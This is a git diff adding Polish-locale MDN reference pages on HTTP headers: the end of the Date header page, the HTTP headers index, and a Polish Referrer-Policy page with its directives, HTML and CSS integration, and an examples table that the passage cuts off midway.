+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">Date: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="Dyrektywy">Dyrektywy</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2 digit day number, e.g. "04" or "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4 digit year number, e.g. "1990" or "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2 digit hour number, e.g. "09" or "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 digit minute number, e.g. "04" or "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2 digit second number, e.g. "04" or "59".</dd>
+ <dt>GMT</dt>
+ <dd>
+ <p>Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.</p>
+ </dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Date", "7.1.1.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarką"><span class="short_text" id="result_box" lang="pl"><span>Zgodność z przeglądarką</span></span></h2>
+
+<p class="hidden">Tabela kompatybilności na tej stronie jest generowana z danych strukturalnych. Jeżeli chcesz pomóc w dostarczeniu danch otwórz link: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam zapytanie.</p>
+
+<p>{{Compat("http.headers.Date")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/pl/web/http/headers/index.html b/files/pl/web/http/headers/index.html
new file mode 100644
index 0000000000..9c8850dc38
--- /dev/null
+++ b/files/pl/web/http/headers/index.html
@@ -0,0 +1,374 @@
+---
+title: HTTP headers
+slug: Web/HTTP/Headers
+tags:
+ - HTTP
+ - Headers
+ - NeedsTranslation
+ - Networking
+ - Reference
+ - TopicStub
+translation_of: Web/HTTP/Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon '<code>:</code>', then by its value (without line breaks). Leading white space before the value is ignored.</p>
+
+<p>Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; others are listed in an <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</p>
+
+<p>Headers can be grouped according to their contexts:</p>
+
+<ul>
+ <li>{{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.</li>
+ <li>{{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself.</li>
+ <li>{{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.).</li>
+ <li>{{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type.</li>
+</ul>
+
+<p>Headers can also be grouped according to how proxies handle them:</p>
+
+<dl>
+ <dt><a id="e2e" name="e2e"></a>End-to-end headers</dt>
+ <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd>
+ <dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt>
+ <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd>
+</dl>
+
+<p>The following list summarizes HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p>
+
+<h2 id="Authentication">Authentication</h2>
+
+<dl>
+ <dt>{{HTTPHeader("WWW-Authenticate")}}</dt>
+ <dd>Defines the authentication method that should be used to gain access to a resource.</dd>
+ <dt>{{HTTPHeader("Authorization")}}</dt>
+ <dd>Contains the credentials to authenticate a user agent with a server.</dd>
+ <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt>
+ <dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd>
+ <dt>{{HTTPHeader("Proxy-Authorization")}}</dt>
+ <dd>Contains the credentials to authenticate a user agent with a proxy server.</dd>
+</dl>
+
+<h2 id="Caching">Caching</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Age")}}</dt>
+ <dd>The time in seconds the object has been in a proxy cache.</dd>
+ <dt>{{HTTPHeader("Cache-Control")}}</dt>
+ <dd>Specifies directives for caching mechanisms in both requests and responses.</dd>
+ <dt>{{HTTPHeader("Expires")}}</dt>
+ <dd>The date/time after which the response is considered stale.</dd>
+ <dt>{{HTTPHeader("Pragma")}}</dt>
+ <dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd>
+ <dt>{{HTTPHeader("Warning")}}</dt>
+ <dd>A general warning field containing information about possible problems.</dd>
+</dl>
+
+<h2 id="Client_hints">Client hints</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Content-DPR")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("DPR")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Downlink")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Save-Data")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Viewport-Width")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Width")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h2 id="Conditionals">Conditionals</h2>
+ </dt>
+ <dt>{{HTTPHeader("Last-Modified")}}</dt>
+ <dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd>
+ <dt>{{HTTPHeader("ETag")}}</dt>
+ <dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.</dd>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd>
+</dl>
+
+<h2 id="Connection_management">Connection management</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Connection")}}</dt>
+ <dd>Controls whether the network connection stays open after the current transaction finishes.</dd>
+ <dt>{{HTTPHeader("Keep-Alive")}}</dt>
+ <dd>Controls how long a persistent connection should stay open.</dd>
+</dl>
+
+<h2 id="Content_negotiation">Content negotiation</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept")}}</dt>
+ <dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd>
+ <dt>{{HTTPHeader("Accept-Charset")}}</dt>
+ <dd>Informs the server about which character set the client is able to understand.</dd>
+ <dt>{{HTTPHeader("Accept-Encoding")}}</dt>
+ <dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd>
+ <dt>{{HTTPHeader("Accept-Language")}}</dt>
+ <dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Controls">Controls</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Expect")}}</dt>
+ <dd>Indicates expectations that need to be fulfilled by the server in order to properly handle the request.</dd>
+ <dt>{{HTTPHeader("Max-Forwards")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Cookies">Cookies</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cookie")}}</dt>
+ <dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd>
+ <dt>{{HTTPHeader("Set-Cookie")}}</dt>
+ <dd>Send cookies from the server to the user agent.</dd>
+ <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd>
+ <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd>
+ <dt>
+ <h2 id="CORS">CORS</h2>
+ </dt>
+ <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
+ <dd>Indicates whether the response can be shared.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
+ <dd>Indicates whether the response to the request can be exposed when the credentials flag is true.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
+ <dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
+ <dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd>
+ <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
+ <dd>Indicates which headers can be exposed as part of the response by listing their names.</dd>
+ <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
+ <dd>Indicates how long the results of a preflight request can be cached.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
+ <dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
+ <dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd>
+ <dt>{{HTTPHeader("Origin")}}</dt>
+ <dd>Indicates where a fetch originates from.</dd>
+ <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt>
+ <dd>Specifies origins that are allowed to see values of attributes retrieved via features of the <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>, which would otherwise be reported as zero due to cross-origin restrictions.</dd>
+</dl>
+
+<h2 id="Do_Not_Track">Do Not Track</h2>
+
+<dl>
+ <dt>{{HTTPHeader("DNT")}}</dt>
+ <dd>Used for expressing the user's tracking preference.</dd>
+ <dt>{{HTTPHeader("Tk")}}</dt>
+ <dd>Indicates the tracking status that applied to the corresponding request.</dd>
+</dl>
+
+<h2 id="Downloads">Downloads</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Disposition")}}</dt>
+ <dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd>
+</dl>
+
+<h2 id="Message_body_information">Message body information</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Length")}}</dt>
+ <dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd>
+ <dt>{{HTTPHeader("Content-Type")}}</dt>
+ <dd>Indicates the media type of the resource.</dd>
+ <dt>{{HTTPHeader("Content-Encoding")}}</dt>
+ <dd>Used to specify the compression algorithm.</dd>
+ <dt>{{HTTPHeader("Content-Language")}}</dt>
+ <dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd>
+ <dt>{{HTTPHeader("Content-Location")}}</dt>
+ <dd>Indicates an alternate location for the returned data.</dd>
+ <dt>
+ <h2 id="Proxies">Proxies</h2>
+ </dt>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Forwarded")}}</dt>
+ <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
+ <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
+ <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
+ <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd>
+ <dt>{{HTTPHeader("Via")}}</dt>
+ <dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd>
+</dl>
+
+<h2 id="Redirects">Redirects</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Location")}}</dt>
+ <dd>Indicates the URL to redirect a page to.</dd>
+</dl>
+
+<h2 id="Request_context">Request context</h2>
+
+<dl>
+ <dt>{{HTTPHeader("From")}}</dt>
+ <dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd>
+ <dt>{{HTTPHeader("Host")}}</dt>
+ <dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd>
+ <dt>{{HTTPHeader("Referer")}}</dt>
+ <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd>
+ <dt>{{HTTPHeader("Referrer-Policy")}}</dt>
+ <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd>
+ <dt>{{HTTPHeader("User-Agent")}}</dt>
+ <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd>
+</dl>
+
+<h2 id="Response_context">Response context</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Allow")}}</dt>
+ <dd>Lists the set of HTTP request methods support by a resource.</dd>
+ <dt>{{HTTPHeader("Server")}}</dt>
+ <dd>Contains information about the software used by the origin server to handle the request.</dd>
+</dl>
+
+<h2 id="Range_requests">Range requests</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Ranges")}}</dt>
+ <dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd>
+ <dt>{{HTTPHeader("Range")}}</dt>
+ <dd>Indicates the part of a document that the server should return.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd>
+ <dt>{{HTTPHeader("Content-Range")}}</dt>
+ <dd>Indicates where in a full body message a partial message belongs.</dd>
+</dl>
+
+<h2 id="Security">Security</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt>
+ <dd>Controls resources the user agent is allowed to load for a given page.</dd>
+ <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt>
+ <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd>
+ <dt>{{HTTPHeader("Expect-CT")}}</dt>
+ <dd>Allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements, which prevents the use of misissued certificates for that site from going unnoticed. When a site enables the Expect-CT header, they are requesting that Chrome check that any certificate for that site appears in public CT logs.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt>
+ <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt>
+ <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt>
+ <dd>Force communication using HTTPS instead of HTTP.</dd>
+ <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt>
+ <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt>
+ <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt>
+ <dd>Indicates whether a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd>
+ <dt>{{HTTPHeader("X-XSS-Protection")}}</dt>
+ <dd>Enables cross-site scripting filtering.</dd>
+</dl>
+
+<h2 id="Server-sent_events">Server-sent events</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Ping-From")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Ping-To")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Last-Event-ID")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Transfer_coding">Transfer coding</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Transfer-Encoding")}}</dt>
+ <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd>
+ <dt>{{HTTPHeader("TE")}}</dt>
+ <dd>Specifies the transfer encodings the user agent is willing to accept.</dd>
+ <dt>{{HTTPHeader("Trailer")}}</dt>
+ <dd>Allows the sender to include additional fields at the end of chunked message.</dd>
+</dl>
+
+<h2 id="WebSockets">WebSockets</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Other">Other</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Date")}}</dt>
+ <dd>Contains the date and time at which the message was originated.</dd>
+ <dt>{{HTTPHeader("Expect-CT")}}</dt>
+ <dd>Allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements.</dd>
+ <dt>{{HTTPHeader("Large-Allocation")}}</dt>
+ <dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd>
+ <dt>{{HTTPHeader("Link")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Retry-After")}}</dt>
+ <dd>Indicates how long the user agent should wait before making a follow-up request.</dd>
+ <dt>{{HTTPHeader("SourceMap")}}</dt>
+ <dd>Links generated code to a <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>.</dd>
+ <dt>{{HTTPHeader("Upgrade")}}</dt>
+ <dd>The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field is RFC 7230, section 6.7</a>.  The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection.  For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field.  Neither party is required to accept the terms specified in the Upgrade header field.  It can be used in both client and server headers.  If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified.  For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd>
+ <dt>{{HTTPHeader("Vary")}}</dt>
+ <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd>
+ <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt>
+ <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd>
+ <dt>{{HTTPHeader("X-Firefox-Spdy")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Requested-With")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-UA-Compatible")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Contributing">Contributing</h2>
+
+<p>You can help by <a href="/en-US/docs/MDN/Contribute/Howto/Document_an_HTTP_header">writing new entries</a> or improving the existing ones.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li>
+ <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li>
+</ul>
diff --git a/files/pl/web/http/headers/referrer-policy/index.html b/files/pl/web/http/headers/referrer-policy/index.html
new file mode 100644
index 0000000000..186868538e
--- /dev/null
+++ b/files/pl/web/http/headers/referrer-policy/index.html
@@ -0,0 +1,260 @@
+---
+title: Zasada Polecającego (Referrer-Policy)
+slug: Web/HTTP/Headers/Referrer-Policy
+tags:
+ - HTTP
+ - Reference
+ - Referencja
+ - Referrer-Policy
+ - Response
+ - Response Header
+ - nagłówek HTTP
+ - nagłówek odpowiedzi
+ - odpowiedź
+ - polecający
+ - prywatność
+ - referrer
+ - zasada polecającego
+translation_of: Web/HTTP/Headers/Referrer-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">{{glossary("HTTP header")}} <strong><code>Referrer-Policy</code></strong> kontroluje, w jakim zakresie <a href="/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">informacje dot. polecającego (referrera)</a> (wysyłane poprzez nagłówek {{HTTPHeader("Referer")}}) powinny być zawarte w żądaniu</span></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Typ nagłówka</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>nie</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Składnia">Składnia</h2>
+
+<div class="blockIndicator note">
+<p>Originalna nazwa nagłówka, {{HTTPHeader("Referer")}}, to błędnie zapisane słowo "referrer" ("polecający"). Nagłówek <code>Referrer-Policy</code> nie zawiera tej literówki.</p>
+</div>
+
+<pre class="syntaxbox">Referrer-Policy: no-referrer
+Referrer-Policy: no-referrer-when-downgrade
+Referrer-Policy: origin
+Referrer-Policy: origin-when-cross-origin
+Referrer-Policy: same-origin
+Referrer-Policy: strict-origin
+Referrer-Policy: strict-origin-when-cross-origin
+Referrer-Policy: unsafe-url
+</pre>
+
+<h2 id="Dyrektywy">Dyrektywy</h2>
+
+<dl>
+ <dt><code>no-referrer</code></dt>
+ <dd>Nagłówek {{HTTPHeader("Referer")}} zostanie całkowicie pominięty. Żadna informacja dot. polecającego nie zostanie wysłana w żądaniu.</dd>
+ <dt><code>no-referrer-when-downgrade</code> (domyślna)</dt>
+ <dd>Zachowanie domyślne, jeśli zasada nie została określona lub jeśli wartość jest niepoprawna. {{glossary("origin")}}, {{glossary("path")}} oraz {{glossary("querystring")}} URLu są wysyłane jako polecający, podczas gdy poziom bezpieczeństwa protokołu pozostaje na tym samym poziomie (HTTP→HTTP, HTTPS→HTTPS) lub jest bezpieczniejszy (HTTP→HTTPS), ale nie gdy destynacja jest mniej bezpieczna (HTTPS→HTTP).</dd>
+ <dt><code>origin</code></dt>
+ <dd>Wysyła jedynie {{glossary("origin")}} dokumentu jako jego polecającego. Przykładowo, dokument pod adresem <code>https://example.com/page.html</code> wyśle referrer brzmiący: <code>https://example.com/</code>.</dd>
+ <dt><code>origin-when-cross-origin</code></dt>
+ <dd>Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi żądania {{glossary("Same-origin_policy", "same-origin")}}, w innych przypadkach wyśle jedynie origin dokumentu.</dd>
+ <dt><code>same-origin</code></dt>
+ <dd>Referrer zostanie wysłany do <a href="/en-US/docs/Web/Security/Same-origin_policy">originów same-site</a>, natomiast żądania cross-origin nie będą zawierać informacji o referrerze.</dd>
+ <dt><code>strict-origin</code></dt>
+ <dd>Wyśle origin dokumentu jako referrer, jeśli poziom bezpieczeństwa protokołu zostaje na tym samym poziomie (HTTPS→HTTPS), nie wyśle, jeśli poziom bezpieczeństwa destynacji jest niższy (HTTPS→HTTP).</dd>
+ <dt><code>strict-origin-when-cross-origin</code></dt>
+ <dd>Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi żądania same-orign, wyśle jedynie origin, jeśli poziom bezpieczeństwa protokołu pozostaje taki sam (HTTPS→HTTPS), natomiast nie wyśle nagłówka do destynacji o niższym poziomie bezpieczeństwa (HTTPS→HTTP).</dd>
+ <dt><code>unsafe-url</code></dt>
+ <dd>Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi jakiegokolwiek zdarzenia, niezależnie od bezpieczeństwa.
+ <div class="blockIndicator warning">
+ <p>Niniejsza zasada może skutkować wyciekiem potencjalnie prywatnych informacji z URLów zasobów HTTPS do niebezpiecznych originów. Mocno się zastanów, zanim wybierzesz to ustawienie.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Integracja_z_HTMLem">Integracja z HTMLem</h2>
+
+<p>Możesz ustawić zasady polecającego także w HTMLu. Przykładowo, możesz ustawić zasadę polecającego dla całego dokumentu poprzez konfigurację elementu {{HTMLElement("meta")}} z <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">name </a>równe <a href="/en-US/docs/Web/HTML/Element/meta#attr-name"><code>referrer</code></a>:</p>
+
+<pre class="brush: html">&lt;meta name="referrer" content="origin"&gt;</pre>
+
+<p>Lub ustawić dla określonych żądań poprzez atrybut <code>referrerpolicy</code> na elementach {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}} czy {{HTMLElement("link")}}:</p>
+
+<pre class="brush: html">&lt;a href="http://example.com" referrerpolicy="origin"&gt;</pre>
+
+<p>Alternatywnie, w przypadku elementu <code>a</code>, <code>area</code>, bądź <code>link</code> możesz ustawić <a href="/en-US/docs/Web/HTML/Link_types">relację linku</a> na <code>noreferrer</code> :</p>
+
+<pre class="brush: html">&lt;a href="http://example.com" rel="noreferrer"&gt;</pre>
+
+<h2 id="Integracja_z_CSSem">Integracja z CSSem</h2>
+
+<p>CSS może przechwytywać zasoby wyszczególnione w arkuszach stylów. Niniejsze zasoby również podlegają zasadzie polecającego:</p>
+
+<ul>
+ <li>Zewnętrzne arkusze stylów CSS używają domyślnej zasady (<code>no-referrer-when-downgrade</code>) chyba, że jest nadpisana przez nagłówek HTTP <code>Referrer-Policy</code> w odpowiedzi arkusza stylów CSS.</li>
+ <li>Dla elementów {{HTMLElement("style")}} lub<a href="/en-US/docs/Web/API/HTMLElement/style"> atrybutów</a> <a href="/en-US/docs/Web/API/HTMLElement/style"><code>style</code></a> aplikowana jest zasada właściciela dokumentu.</li>
+</ul>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Zasada</th>
+ <th scope="col">Document</th>
+ <th scope="col">Nawigacja do</th>
+ <th scope="col">Referrer</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th><code>no-referrer</code></th>
+ <td>https://example.com/page</td>
+ <td><em>gdziekolwiek</em></td>
+ <td><em>(no referrer)</em></td>
+ </tr>
+ <tr>
+ <th rowspan="3"><code>no-referrer-when-downgrade</code></th>
+ <td rowspan="3">https://example.com/page</td>
+ <td>https://example.com/otherpage</td>
+ <td>https://example.com/page</td>
+ </tr>
+ <tr>
+ <td>https://mozilla.org</td>
+ <td>https://example.com/page</td>
+ </tr>
+ <tr>
+ <td><strong>http</strong>://example.org</td>
+ <td><em>(no referrer)</em></td>
